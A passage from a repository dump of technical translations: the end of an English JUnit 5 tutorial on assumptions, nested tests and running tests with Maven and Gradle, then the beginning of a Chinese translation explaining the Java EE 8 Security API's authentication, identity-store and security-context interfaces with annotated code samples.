org.junit.jupiter.api.Assertions.assertEquals;\n.\n.\n@Test()\n@DisplayName(\"Empty argument\")\npublic void testAdd_ZeroOperands_EmptyArgument() {\n  long[] numbersToSum = {};\n  assertThrows(IllegalArgumentException.class, () -> classUnderTest.add(numbersToSum));\n}\n```\n\nNote Line 9: If the call to `classUnderTest.add()` does not throw an `IllegalArgumentException`, then the assertion fails.\n\n### Assumptions\n\nAssumptions are similar to assertions, except that assumptions must hold true or the test will be _aborted_. In contrast, when an assertion fails, the test is considered to have _failed_. Assumptions are useful when a test method should only be executed under certain conditions—the _assumption_.\n\nAn _assumption_ is a static method of the `org.junit.jupiter.api.Assumptions` class. To appreciate the value of assumptions, all you need is a simple example.\n\nSuppose you want to run a particular unit test only on Friday (I assume you have your reasons):\n\n```\n@Test\n@DisplayName(\"This test is only run on Fridays\")\npublic void testAdd_OnlyOnFriday() {\n  LocalDateTime ldt = LocalDateTime.now();\n  assumeTrue(ldt.getDayOfWeek().getValue() == 5);\n  // Remainder of test (only executed if assumption holds)...\n}\n```\n\nIn this case, if the condition doesn't hold (Line 5), the body of the lambda will not be executed.\n\n##### Using assertions vs assumptions\n\nThe difference can be subtle, so use this rule of thumb: Use assertions to _check the results of a test method_. Use assumptions to _determine whether to run the test method at all_. An aborted test is not reported as a failure, meaning that failure won't break the build.\n\nNote Line 5: If the condition doesn't hold, then the test is skipped. In this case, the day of the week when the test runs is not Friday (5). This doesn't affect the \"green\" of the project, and won't cause the build to fail; all of the code in test method after `assumeTrue()` is simply skipped.\n\nIn cases where only a _portion_ of the test method should execute if an assumption holds, you could write the above condition with the `assumingThat()` method, which uses lambda syntax:\n\n```\n@Test\n@DisplayName(\"This test is only run on Fridays (with lambda)\")\npublic void testAdd_OnlyOnFriday_WithLambda() {\n  LocalDateTime ldt = LocalDateTime.now();\n  assumingThat(ldt.getDayOfWeek().getValue() == 5,\n      () -> {\n        // Execute this if assumption holds...\n      });\n  // Execute this regardless\n}\n```\n\nNote that everything after the lambda will execute, regardless of whether the assumption in `assumingThat()` holds.\n\n### Nesting unit tests for clarity\n\nBefore we move on to the next section, I want to show you one last feature of writing unit tests in JUnit 5.\n\nThe JUnit Jupiter API lets you create nested classes in order to keep your test code cleaner, which will help make your test results easier to read. Creating nested test classes within a main class allows you to create additional namespaces, which provides two primary benefits:\n\n*   Each unit test may have its own pre- and post-test lifecycle. This allows you to create the class under test using special conditions to test corner cases.\n*   Unit test method names just got simpler. In JUnit 4, all test methods exist as peers, where duplicate method names are not allowed (so you wind up with method names like `testMethodButOnlyUnderThisOrThatCondition_2()`). Starting with JUnit Jupiter, only methods in the nested class must have unique names. Listing 6 demonstrates.\n\n##### Listing 5. Passing an empty or null array reference\n\n```\n@RunWith(JUnitPlatform.class)\n@DisplayName(\"Testing JUnit 5\")\npublic class JUnit5AppTest {\n.\n.                \n  @Nested\n  @DisplayName(\"When zero operands\")\n  class JUnit5AppZeroOperandsTest {\n  \n  // @Test methods go here...\n  \n  }\n.\n.\n}\n```\n\nNote Line 6, where the `JUnit5AppZeroOperandsTest` class can have test methods. The results of any tests will be displayed as nested within the parent class, `JUnit5AppTest`.\n\n## Running tests using JUnit Platform\n\nWriting unit tests is great, but it's not of much use if you can't run them. In this section I'll show you how to run JUnit tests in Eclipse, using first Maven and then Gradle from the command line.\n\nThe video below shows you how to clone the sample application code from GitHub and run tests in Eclipse. In the video, I also show you how to run the unit tests from the command line and from within Eclipse using Maven and Gradle. Eclipse has great support for both Maven and Gradle.\n\n[Watch the video: Running unit tests in Eclipse, Maven, and Gradle](https://www.youtube.com/watch?v=M7pTm34eqYc)\n\n[Transcript](http://www.ibm.com/developerworks/library/j-introducing-junit5-part1-jupiter-api/running-unit-tests-in-eclipse-maven-and-gradle-transcript.txt)\n\nI'll provide brief instructions below, but the video offers more detail. Watch the video to learn how to:\n\n*   Clone the HelloJUnit5 sample application from GitHub.\n*   Import the application into Eclipse.\n*   Run a single JUnit test from the HelloJUnit5 application from within Eclipse.\n*   Use Maven to run the HelloJUnit5 unit tests from the command line.\n*   Use Gradle to run the HelloJUnit5 unit tests from the command line.\n\n### Clone the HelloJUnit5 sample application\n\nIn order to follow along with the rest of the tutorial, you'll need to clone the sample application from GitHub. To do this, open a terminal window (Mac) or a command prompt (Windows), navigate to a directory where you want the code to reside, and enter the following command:\n\ngit clone https://github.com/makotogo/HelloJUnit5\n\nNow that you have the code on your machine, you can run JUnit tests inside of your Eclipse IDE. I'll show you how to do that next.\n\n### Running unit tests in your Eclipse IDE\n\nIf you followed along with the video, you should already have the code imported into Eclipse. Now, open the **Project Explorer** view in Eclipse, and expand the HelloJUnit5 project until you see the `JUnit5AppTest` class under the `src/test/java` path.\n\nOpen `JUnit5AppTest.java` and verify the following annotation just before the `class` definition (Line 3 below):\n\n```\n.\n.\n@RunWith(JUnitPlatform.class)\npublic class JUnit5AppTest {\n.\n.\n}\n```\n\nNow right-click `JUnit5AppTest` and choose **Run As > JUnit Test**. The JUnit view will come up when the unit tests run. You are now ready to complete the exercises for this tutorial.\n\n### Running unit tests with Maven\n\nOpen a terminal window (Mac) or command prompt (Windows), navigate to the directory where you cloned the HelloJUnit5 application, and enter the following command:\n\n```\nmvn test\n```\n\nThis will kick off the Maven build and run the unit tests. Your output should look like the following:\n\n```\n$ mvn clean test\n[INFO] Scanning for projects...\n[INFO]                                                                         \n[INFO] ------------------------------------------------------------------------\n[INFO] Building HelloJUnit5 1.0.2\n[INFO] ------------------------------------------------------------------------\n[INFO] \n[INFO] --- maven-clean-plugin:2.5:clean (default-clean) @ HelloJUnit5 ---\n[INFO] Deleting /Users/sperry/home/development/projects/learn/HelloJUnit5/target\n[INFO] \n[INFO] --- maven-resources-plugin:2.6:resources (default-resources) @ HelloJUnit5 ---\n[INFO] Using 'UTF-8' encoding to copy filtered resources.\n[INFO] skip non existing resourceDirectory /Users/sperry/home/development/projects/learn/HelloJUnit5/src/main/resources\n[INFO] \n[INFO] --- maven-compiler-plugin:3.6.1:compile (default-compile) @ HelloJUnit5 ---\n[INFO] Changes detected - recompiling the module!\n[INFO] Compiling 2 source files to /Users/sperry/home/development/projects/learn/HelloJUnit5/target/classes\n[INFO] \n[INFO] --- maven-resources-plugin:2.6:testResources (default-testResources) @ HelloJUnit5 ---\n[INFO] Using 'UTF-8' encoding to copy filtered resources.\n[INFO] skip non existing resourceDirectory /Users/sperry/home/development/projects/learn/HelloJUnit5/src/test/resources\n[INFO] \n[INFO] --- maven-compiler-plugin:3.6.1:testCompile (default-testCompile) @ HelloJUnit5 ---\n[INFO] Changes detected - recompiling the module!\n[INFO] Compiling 2 source files to /Users/sperry/home/development/projects/learn/HelloJUnit5/target/test-classes\n[INFO] \n[INFO] --- maven-surefire-plugin:2.19:test (default-test) @ HelloJUnit5 ---\n \n-------------------------------------------------------\n T E S T S\n-------------------------------------------------------\nNov 28, 2017 6:04:49 PM org.junit.vintage.engine.discovery.DefensiveAllDefaultPossibilitiesBuilder$DefensiveAnnotatedBuilder buildRunner\nWARNING: Ignoring test class using JUnitPlatform runner: com.makotojava.learn.hellojunit5.solution.JUnit5AppTest\nRunning com.makotojava.learn.hellojunit5.solution.JUnit5AppTest\nNov 28, 2017 6:04:49 PM org.junit.vintage.engine.discovery.DefensiveAllDefaultPossibilitiesBuilder$DefensiveAnnotatedBuilder buildRunner\nWARNING: Ignoring test class using JUnitPlatform runner: com.makotojava.learn.hellojunit5.solution.JUnit5AppTest\nTests run: 1, Failures: 0, Errors: 0, Skipped: 1, Time elapsed: 0.038 sec - in com.makotojava.learn.hellojunit5.solution.JUnit5AppTest\n \nResults :\n \nTests run: 1, Failures: 0, Errors: 0, Skipped: 1\n \n[INFO] ------------------------------------------------------------------------\n[INFO] BUILD SUCCESS\n[INFO] ------------------------------------------------------------------------\n[INFO] Total time: 3.741 s\n[INFO] Finished at: 2017-11-28T18:04:50-06:00\n[INFO] Final Memory: 21M/255M\n[INFO] ------------------------------------------------------------------------\n```\n\n### Running unit tests with Gradle\n\nOpen a terminal window (Mac) or command prompt (Windows), navigate to the directory where you cloned the HelloJUnit5 application, and enter this command:\n\n```\ngradle clean test\n```\n\nThe output should look like this:\n\n```\n$ gradle clean test\nStarting a Gradle Daemon (subsequent builds will be faster)\n:clean\n:compileJava\n:processResources NO-SOURCE\n:classes\n:compileTestJava\n:processTestResources NO-SOURCE\n:testClasses\n:junitPlatformTest\nERROR StatusLogger No log4j2 configuration file found. Using default configuration: logging only errors to the console.\n \nTest run finished after 10097 ms\n[         7 containers found      ]\n[         5 containers skipped    ]\n[         2 containers started    ]\n[         0 containers aborted    ]\n[         2 containers successful ]\n[         0 containers failed     ]\n[        10 tests found           ]\n[        10 tests skipped         ]\n[         0 tests started         ]\n[         0 tests aborted         ]\n[         0 tests successful      ]\n[         0 tests failed          ]\n \n:test SKIPPED\n \nBUILD SUCCESSFUL\n \nTotal time: 21.014 secs\n```\n\n## Test exercises\n\nUp till now, you have been reading about JUnit Jupiter, looking at code examples, and watching (and hopefully following along with) the video. That's great and all, but there is nothing like getting your hands in the code! In this last section of Part 1, you'll do the following:\n\n*   Write JUnit Jupiter API unit tests.\n*   Run your unit tests.\n*   Implement the `App` class so your unit tests pass.\n\nIn true, test-driven development (TDD) fashion, you will write the unit tests first, run them, and watch them all fail. Then you'll write the implementation until the unit tests pass, at which point you'll be done.\n\nNote that the `JUnit5AppTest` class comes out-of-the-box with only two test methods. Both will be \"in the green\" when you first run the class. To complete the exercises, you need to add the remaining code, including annotations to tell JUnit which test methods to run. Remember: if a class or method is not properly instrumented, JUnit will simply skip it.\n\nIf you get stuck, check out the `com.makotojava.learn.hellojunit5.solution` package for the solution.\n\n### 1. Write JUnit Jupiter unit tests\n\nStart with `JUnit5AppTest.java`. Open this file and follow the directions in the Javadoc comments.\n\n**Hint**: Use the Javadoc view in Eclipse to read the test instructions. To open the Javadoc view go to **Window > Show View > Javadoc**. You should see the Javadoc view. Depending on how you have your workspace setup, the window could appear in any number of places. In my workspace it looks like the screenshot in Figure 3, appearing just below the editor window, on the right-hand side of the IDE:\n\n##### Figure 3. The Javadoc view\n\n![A screenshot of the Javadoc view.](https://www.ibm.com/developerworks/library/j-introducing-junit5-part1-jupiter-api/Figure-3.png)\n\nThe Javadoc comments with raw HTML markup are shown in the editor window, but in the Javadoc window they are formatted and much easier to read.\n\n### 2. Run unit tests in Eclipse\n\nIf you're like me, you'll use your IDE to do the following:\n\n*   Write unit tests.\n*   Write the implementation tested by the unit tests.\n*   Run the initial tests (using the IDE's native JUnit support).\n\nJUnit 5 provides a class called `JUnitPlatform`, which allows you to run JUnit 5 tests within Eclipse.\n\n**JUnit 5 in Eclipse**: Eclipse currently understands JUnit 4, but does not yet provide native support for JUnit 5. Fortunately, that's not a big deal for most unit tests! Unless you need to use some of the more complex features of JUnit 4, the `JUnitPlatform` class will be sufficient to write unit tests to fully exercise your application code.\n\nTo run a test within Eclipse, make sure you have the sample application on your computer. The easiest way to do this is to clone the HelloJUnit5 application from GitHub, then import it into Eclipse. (Since the video for this tutorial shows you how to do that, I'll skip the details here and just provide the high-level steps.)\n\nMake sure you've cloned the GitHub repository, then import the code into Eclipse as a new Maven project.\n\nOnce the project is imported into Eclipse, open the **Project Explorer** view and expand the `src/main/test` node until you see `JUnit5AppTest`. To run it as a JUnit test, right-click on it, and choose **Run As > JUnit Test**.\n\n### 3. Implement the App class until unit tests pass\n\nThe functionality provided by `App`'s single `add()` method is easily understood, and very simple by design. I didn't want the business logic of a complicated application to get in the way of learning JUnit Jupiter.\n\nOnce your unit tests pass, you are done! Remember that if you get stuck, you can take a look in the `com.makotojava.learn.hellojunit5.solution` package for the solution.\n\n## Conclusion to Part 1\n\nIn this first half of the JUnit 5 tutorial, I've introduced you to JUnit 5's architecture and components, especially the JUnit Jupiter API. We've toured the annotations, assertions, and assumptions you'll use most frequently in JUnit 5, and you've worked through a quick exercise demonstrating how to run tests in Eclipse, Maven, and Gradle.\n\nIn [Part 2](http://www.ibm.com/developerworks/library/j-introducing-junit5-part2-vintage-jupiter-extension-model/index.html), you'll get to know some of the advanced features of JUnit 5:\n\n*   The JUnit Jupiter Extension model\n*   Method parameter injection\n*   Parameterized tests\n\nSo where you do you go from here?\n\n[Introducing JUnit 5 Part 2: JUnit 5 Vintage and the JUnit Jupiter Extension Model](https://github.com/xitu/gold-miner/blob/master/TODO1/j-introducing-junit5-part2-vintage-jupiter-extension-model.md)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/j-javaee8-security-api-1.md",
    "content": "> * 原文地址：[Get started with the Java EE 8 Security API Part 1: Java enterprise security for cloud and microservices platforms](https://www.ibm.com/developerworks/java/library/j-javaee8-security-api-1/index.html)\n> * 原文作者：[Alex Theedom](https://developer.ibm.com/author/alex.theedom)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/j-javaee8-security-api-1.md](https://github.com/xitu/gold-miner/blob/master/TODO1/j-javaee8-security-api-1.md)\n> * 译者：[Starrier](https://github.com/Starriers)\n> * 校对者：[JackEggie](https://github.com/JackEggie)、[maoqyhz](https://github.com/maoqyhz)\n\n# 从 Java EE 8 Security API 开始 —— 第一部分\n\n## 面向云和微服务平台的 Java 企业级安全\n\n新的 HttpAuthenticationMechanism、IdentityStore 和 SecurityContext 接口概述\n\n关于这个系列：\n\n期待已久的 [Java EE Security API (JSR 375)](https://jcp.org/en/jsr/detail?id=375) 将 Java 企业级安全带入云计算和微服务的新纪元。本系列的文章将向您展示如何简化新的安全机制，以及 Java EE 跨容器安全的标准化处理，然后在启用云的项目中使用它们。\n\n经验丰富的 Java™ 开发者应该了解，Java 并不会受到缺乏 Java 安全机制的影响。可选的方案有 [Java 容器授权协议说明](https://jcp.org/aboutJava/communityprocess/mrel/jsr115/index3.html) （JACC），[Java 身份认证服务提供器](https://jcp.org/aboutJava/communityprocess/mrel/jsr196/index2.html) （JASPIC），以及大量第三方特定于容器的安全 API 和配置管理解决方案。\n\n问题不在于缺乏选择，而在于缺乏企业标准。没有标准，导致几乎没有什么可以激励供应商始终如一地实现核心特性，比如，身份验证，像上下文和依赖注入（CDI）以及表达式语言（EL）那样独有解决方案的新技术更新，或者与云和微服务架构的安全发展保持同步。\n\n本系列介绍了新的 Java EE Security API，首先会概述 API 及其三个主要接口：`HttpAuthenticationMechanism`、`IdentityStore` 和 `SecurityContext`。\n\n[获取代码](https://github.com/readlearncode/Java-EE-8-Sampler/tree/master/security-1-0)\n\n## Java EE 新的安全标准\n\nJava EE 安全规范的开发得力于 2014 [Java EE 8 问卷调查](https://blogs.oracle.com/theaquarium/java-ee-8-survey-final-results)，社区的反馈推动了 Java EE 安全规范的开发步伐。简化和标准化 Java 企业级安全是许多调查对象优先考虑的事项。JSR 375专家组一旦成立，将确定以下问题：\n\n*   构成 Java EE 的各种 EJB 和 servlet 容器定义了类似的与安全相关的 API，但语法存在细微差别。例如，servlet 检查用户角色时，调用 `HttpServletRequest.isUserInRole(String role)`，而 EJB 则调用 `EJBContext.isCallerInRole(String roleName)`。\n*   实现像 JACC 这样的现有安全机制，困难重重，而 JASPIC 也很难被正确使用。\n*   现有机制无法充分利用现代 Java EE 的编程特性，例如上下文和依赖注入（CDI）。\n*   没有可移值性方法来控制如何在后端跨容器时，进行身份验证。\n*   对于管理标识存储或者角色和权限的配置，没有标准的支持。\n*   对于部署自定义身份验证规则，没有标准支持。\n\n这些是 JSR 375 旨在解决的主要问题。同时，该规范通过定义用于身份验证、身份存储、角色和权限以及跨容器授权的可移值性 API，促使开发者能够自行管理和控制安全性。\n\nJava EE Security API 的优点在于它提供了一种配置身份存储和身份验证机制的替代方法，但并不能取代现有的安全机制。Java EE Security API 允许开发人员以一致的和可移值的方式启用 Java EE web 应用程序的安全性 —— 无论是否具有特定于供应商的或者独有的解决方案。\n\n## Java EE Security API 中有什么？\n\nJava EE Security API 1.0 版本包含了初始提交草案的一个子集，而且侧重于本地云应用程序相关的技术。这些特性是：\n\n*   用于身份验证的 API\n*   标识存储 API\n*   上下文安全的 API\n\n这些特性与所有 Java EE 安全实现的新的标准化术语结合在一起。剩余的特性（计划包含在下一个版本中）是：\n\n*   密码别名 API\n*   角色/权限分配 API\n*   授权拦截器 API\n\n## Web 安全认证\n\nJava EE 平台已经指定了两种用于验证 Web 应用程序用户的机制：[Servlet 4.0](https://jcp.org/en/jsr/detail?id=369) (JSR 369) 提供适用于一般应用程序配置的声明式机制。对于健壮性有更高需求的场景，[JASPIC](https://jcp.org/aboutJava/communityprocess/mrel/jsr196/index2.html) 定义了一个叫作 `ServerAuthModule` 的服务提供者接口，它支持开发认证模块来处理任何凭证类型。此外，[Servlet 容器配置文件](https://docs.oracle.com/cd/E19226-01/820-7695/gizel/index.html)指定了如何将 JASPIC 与 servlet 容器集成。\n\n这两种机制都是有意义和有效的，但对于 web 应用程序开发者来说，每种机制都存在其自身的局限性。\n\nServlet 容器机制被限制为只支持 Servlet 4.0 定义的小部分凭据类型，而且它无法支持与调用方的复杂交互。它也无法为应用程序提供一种方法，以确定调用者是根据所需的标识存储进行身份验证的。\n\n相反，JASPIC 非常优秀，而且有很好的延展性，但它的使用也相当复杂。编码 `AuthModule`，并且将其与 web 容器对齐以进行身份验证使用，可能会非常难以处理。除此以外，JASPIC 没有声明式配置，也没有明确的方式来重载注册 `AuthModule` 的编码方式。\n\nJava EE Security API 通过一个新的接口 `HttpAuthenticationMechanism` 解决了其中一些问题。新接口本质上是 JASPIC `ServerAuthModule` 接口的一个简化版 servlet 容器变体，它利用了现有的机制，同时削弱了它们的限制。\n\n`HttpAuthenticationMechanism` 实例是容器负责提供注入的 CDI bean。`HttpAuthenticationMechanism` 接口的其他实现可以由应用程序或 servlet 容器提供。注意，`HttpAuthenticationMechanism` 仅为 servlet 容器指定。\n\n## 对 Servlet 4.0 身份验证的支持\n\nJava EE 容器必须为 Servlet 4.0 规范中定义的三种身份认证机制提供 `HttpAuthenticationMechanism` 实现。这三种实现是：\n\n*   基本 HTTP 身份验证（第 13.6.1 章节）\n*   基于表单的身份验证（第 13.6.3 章节）\n*   自定义表单身份验证（第 13.6.3.1 章节）\n\n每个实现都由相关注解的存在触发：\n\n*   `@BasicAuthenticationMechanismDefinition`\n*   `@FormAuthenticationMechanismDefinition`\n*   `@CustomFormAuthenticationMechanismDefinition`\n\n当遇到这些注解之一时，容器会实例化相关机制的实例，并使其立即可用。\n\n在新规范中，不再需要像 Servlet 4.0 所要求的那样，在 `web.xml` 中的 `<login-config>` 元素之间指定身份验证机制。事实上，如果 `web.xml` 和基于 HttpAuthentication 机制的注解同时存在时，部署过程可能会失败 —— 至少要忽略 `web.xml` 配置。\n\n让我们看看每种机制的示例是如何运行的。\n\n### 基本的 HTTP 身份验证\n\n`@BasicAuthenticationMechanismDefinition` 注解触发 Servlet 4.0 定义的基本 HTTP 身份验证。清单 1 列举了一个示例。唯一的配置参数是可选的，而且允许指定 realm。\n\n##### 清单 1. 基本的 HTTP 身份验证\n\n```\n@BasicAuthenticationMechanismDefinition(realmName=\"${'user-realm'}\")\n@WebServlet(\"/user\")\n@DeclareRoles({ \"admin\", \"user\", \"demo\" })\n@ServletSecurity(@HttpConstraint(rolesAllowed = \"user\"))\npublic class UserServlet extends HttpServlet { … }\n```\n\n**什么是 realm？**\n\n服务器资源可以划分为单独的受保护控件。在这种情况下，每个用户都将拥有自己的身份验证模式和授权数据库，其中包含受同源策略控制的用户和组。这个用户和组的数据库称为 **realm**。 \n\n### 基于表单的身份验证\n\n`@FormAuthenticationMechanismDefinition` 注解用于基于表单的身份验证。它有一个必要的参数 `loginToContinue`，用于配置 web 应用程序的登录页面、错误页面和重定向或转发特性。在清单 2 中，您可以看到登录页面是用 URL 定义的，`useForwardToLoginExpression` 是使用表达式语言（EL）配置的。不需要向 `@LoginToContinue` 注解传递任何参数，因为实现会提供默认值。\n\n##### 清单 2. 基于表单的身份验证\n\n```\n@FormAuthenticationMechanismDefinition(\n   loginToContinue = @LoginToContinue(\n       loginPage=\"/login-servlet\",\n       errorPage=\"/error\",\n       useForwardToLoginExpression=\"${appConfig.forward}\"\n   )\n)\n@ApplicationScoped\npublic class ApplicationConfig { ... }\n```\n\n### 自定义表单认证\n\n`@CustomFormAuthenticationMechanismDefinition` 注解触发内置自定义表单身份验证。清单 3 给出了一个示例。\n\n##### 清单 3. 自定义表单认证\n\n```\n@CustomFormAuthenticationMechanismDefinition(\n   loginToContinue = @LoginToContinue(\n       loginPage=\"/login.do\"\n   )\n)\n@WebServlet(\"/admin\")\n@DeclareRoles({ \"admin\", \"user\", \"demo\" })\n@ServletSecurity(@HttpConstraint(rolesAllowed = \"admin\"))\npublic class AdminServlet extends HttpServlet { ... }\n```\n\n自定义表单身份验证旨在更好地与 JavaServer Pages (JSF) 和相关的 Java EE 技术保持一致性。`login.do` 页面显示后，用户名和密码由登录页面的后台 bean 输入并处理。\n\n## IdentityStore API\n\n**标识存储**是存储用户标识数据的数据库，如用户名、组成员和用于验证的凭据信息。Java EE Security API 提供了一个名为 `IdentityStore` 的抽象标识存储。类似于 `JAAS LoginModule` 接口，`IdentityStore` 用于与标识存储进行交互，以便对用户进行身份验证并检索组成员身份。\n\n正如规范所描述的，`IdentityStore` 被 `HttpAuthenticationMechanism` 的实现所使用，但这不是必须的， `IdentityStore` 可以独立存在，供任何其他身份验证机制使用。尽管如此，使用 `IdentityStore` 和 `HttpAuthenticationMechanism` 使应用程序能够以可移植和标准化的方式控制用于身份验证的身份存储，在大部分用例场景中，都推荐使用。\n\n`IdentityStore` API 包括一个 `IdentityStoreHandler` 接口，`HttpAuthenticationMechanism` 必须委托它来验证用户凭据。之后，`IdentityStoreHandler` 调用 `IdentityStore` 实例。`Identity` 存储实现不是直接使用的，而是通过专门的处理程序进行交互的。\n\n`IdentityStoreHandler` 可以针对多个 `IdentityStores` 进行身份验证，并且以 `CredentialValidationResult` 实例的形式返回聚合结果。无论凭据是否有效，该对象可能只具有传递凭据的作用，或者它可以是包含下述任何信息的丰富对象：\n\n*   [`CallerPrincipal`](https://javaee.github.io/security-api/apidocs/javax/security/enterprise/CallerPrincipal.html)\n*   主体所属的一组集合\n*   调用者的名称或者 LDAP 可分辨的名称\n*   标识存储中调用方的唯一标识\n\n标识存储按顺序进行查询，这取决于每个 `IdentityStore` 实现的优先级。存储列表被解析了两次：首先用于身份验证，然后用于授权。\n\n作为开发者，您可以通过实现 `IdentityStore` 接口来实现自己的轻量级标识存储，或者您可以使用为 LDAP 和 RDBMS 内置的 `IdentityStores` 的其中一种。它们是通过将配置细节传递给适当的注解来初始化的 —— `@LdapIdentityStoreDefinition` 或者 `@DataBaseIdentityStoreDefinition`。\n\n### 配置内置的 IdentityStore\n\n最简单的标识存储是**数据库存储**。它是通过 `@DataBaseIdentityStoreDefinition` 注解进行配置的。正如清单 4 所演示的那样，这两个内置的数据存储注解基于 Java EE 7 中已有的 [`@DataStoreDefinition`](https://docs.oracle.com/javaee/7/api/javax/annotation/sql/DataSourceDefinition.html) 注解。\n\n清单 4 演示了如何配置数据库身份存储。这些配置选项本身就进行了自我解释，而且如果您曾经配置过数据库定义，应该会很熟悉。\n\n##### 清单 4. 配置数据库标识存储\n\n```\n@DatabaseIdentityStoreDefinition(\n   dataSourceLookup = \"${'java:global/permissions_db'}\",\n   callerQuery = \"#{'select password from caller where name = ?'}\",\n   groupsQuery = \"select group_name from caller_groups where caller_name = ?\",\n   hashAlgorithm = PasswordHash.class,\n   priority = 10\n)\n@ApplicationScoped\n@Named\npublic class ApplicationConfig { ... }\n```\n\n注意，清单 4 中的优先级要设置为 10。在发现多个标识存储并确定相对于其他存储的迭代顺序时使用。数目越少，优先级越高。\n\nLDAP 的配置如清单 5 所描述的那样，非常简单。如果您有 LDAP 语义配置方面的经验，您会发现这里的选项非常熟悉。\n\n##### 清单 5. 配置 LDAP 标识存储\n\n```\n@LdapIdentityStoreDefinition(\n   url = \"ldap://localhost:33389/\",\n   callerBaseDn = \"ou=caller,dc=jsr375,dc=net\",\n   groupSearchBase = \"ou=group,dc=jsr375,dc=net\"\n)\n@DeclareRoles({ \"admin\", \"user\", \"demo\" })\n@WebServlet(\"/admin\")\npublic class AdminServlet extends HttpServlet { ... }\n```\n\n### 自定义 IdentityStore\n\n设计您自己的轻量级标识存储非常简单。您需要实现 `IdentityStore` 接口，至少要实现 `validate()` 方法。接口上有四种方法，它们都有默认的实现方式。`validate()` 方法是运行标识存储所需的最小条件。它接受 `Credential` 实例，然后返回 `CredentialValidationResults` 实例。\n\n在清单 6 中，`validate()` 方式接收一个包含要验证的登录凭据的 `UsernamePasswordCredential` 实例，然后返回一个  `CredentialValidationResults` 的实例。如果简单的配置逻辑促使身份验证成功，则使用用户名和用户所属组配置该对象。如果身份验证失败，那么 `CredentialValidationResults` 实例只包含状态标志 `INVALID`。\n\n##### 清单 6. 定制化的轻量级标识存储\n\n```\n@ApplicationScoped\npublic class LiteWeightIdentityStore implements IdentityStore {\n   public CredentialValidationResult validate(UsernamePasswordCredential userCredential) {\n       if (userCredential.compareTo(\"admin\", \"pwd1\")) {\n           return new CredentialValidationResult(\"admin\", \n\t\t       new HashSet<>(asList(\"admin\", \"user\", \"demo\")));\n       }\n       return INVALID_RESULT;\n   }\n}\n```\n\n注意，实现是基于 `@ApplicationScope` 注解的。这是必需的，因为 `IdentityStoreHandler` 保存对 CDI 容器管理的所有 `IdentityStore` bean 实例的引用。`@ApplicationScope` 注解确保实例是 CDI 管理的 bean，该 bean 实例对整个应用程序来说，都是可用的。\n\n要使用您自己轻量级标识存储，您可以向自定义 `HttpAuthenticationMechanism` 注入 `IdentityStoreHandler`，就像清单 7 演示的那样。\n\n##### 清单 7. 向自定义 HttpAuthenticationMechanism 注入 LiteWeightIdentityStore\n\n```\n@ApplicationScoped\npublic class LiteAuthenticationMechanism implements HttpAuthenticationMechanism {\n   @Inject\n   private IdentityStoreHandler idStoreHandler;\n   @Override\n   public AuthenticationStatus validateRequest(HttpServletRequest req, \n\t\t\t\t\t\t\t\t\t\t\t   HttpServletResponse res, \n\t\t\t\t\t\t\t\t\t\t\t   HttpMessageContext context) {\n       CredentialValidationResult result = idStoreHandler.validate(\n               new UsernamePasswordCredential(\n                       req.getParameter(\"name\"), req.getParameter(\"password\")));\n       if (result.getStatus() == VALID) {\n           return context.notifyContainerAboutLogin(result);\n       } else {\n           return context.responseUnauthorized();\n       }\n   }\n}\n```\n\n## SecurityContext API\n\n`IdentityStore` 和 `HttpAuthenticationMechanism` 将用户的身份验证和授权完美结合，但是自身的声明式模型尚未成型。**程序的安全性编码**使 web 应用程序能执行授权或拒绝访问应用程序资源所需的检查，`SecurityContext` API 提供了这一功能性需求。\n\n目前，Java EE 容器在实现安全上下文对象的方式上并不一致。例如，servlet 容器提供一个 `HttpServletRequest` 实例，在该实例上调用 `getUserPrincipal()` 方法来获取表示用户身份的 [`UserPrincipal`](https://docs.oracle.com/javase/8/docs/api/java/nio/file/attribute/UserPrincipal.html)。EJB 容器提供了不同命名的 `EJBContext` 实例，在该实例上调用同名方法。同样的，如果需要测试用户是否属于某个角色，则必须在 `HttpServletRequest` 实例上调用 `isUserRole()` 方法，然后在 EJBContext 实例上调用 `isCallerInRole()`。\n\n**什么是上下文安全**  \n\n在 Java 企业级应用程序中，**上下文安全** 提供了对与当前经过身份验证的用户关联的安全相关信息的访问。SecurityContext API 的目标是在所有 servlet 和 EJB 容器中提供对应应用程序安全上下文的访问一致性。\n\n新的 `SecurityContext` 提供了跨 Java EE 容器的一致性机制，用于获取身份验证和授权信息。新的 Java EE  Security 规范要求至少在 servlet 和 EJB 容器中使用 `SecurityContext`。服务器供应商也可以在使其在其他容器中可用。\n\n### SecurityContext 接口中的方法\n\n`SecurityContext` 接口提供了用于程序安全性的入口点，并且是可注入类型。它有五个方法（都默认为未实现），以下是方法的列表和用途：\n\n*   **Principal getCallerPrincipal();** 如果当前调用者未进行身份验证，则返回 null，否则返回特定于平台的主体，表明当前用户的名称已通过验证。\n*   **<T extends Principal> Set<T> getPrincipalsByType(Class<T> pType);** 从通过身份验证的调用者的主题中，返回给定类型的所有主体；如果未找到 `pType` 类型，或者当前用户未通过身份验证，则返回一个空集合。\n*   **boolean isCallerInRole(String role);** 确定指定角色中是否包括调用方；如果未授权，则返回 false。\n*   **boolean hasAccessToWebResource(String resource, String... methods);** 确定调用方是否可以通过所提供的方法访问给定的 web 资源。\n*   **AuthenticationStatus authenticate(HttpServletRequest req, HttpServletResponse res, AuthenticationParameters param);**: 通知容器应该启动或与调用方继续以基于 HTTP 身份验证的方式进行会话。因为依赖于 `HttpServletRequest` 和 `HttpServletResponse` 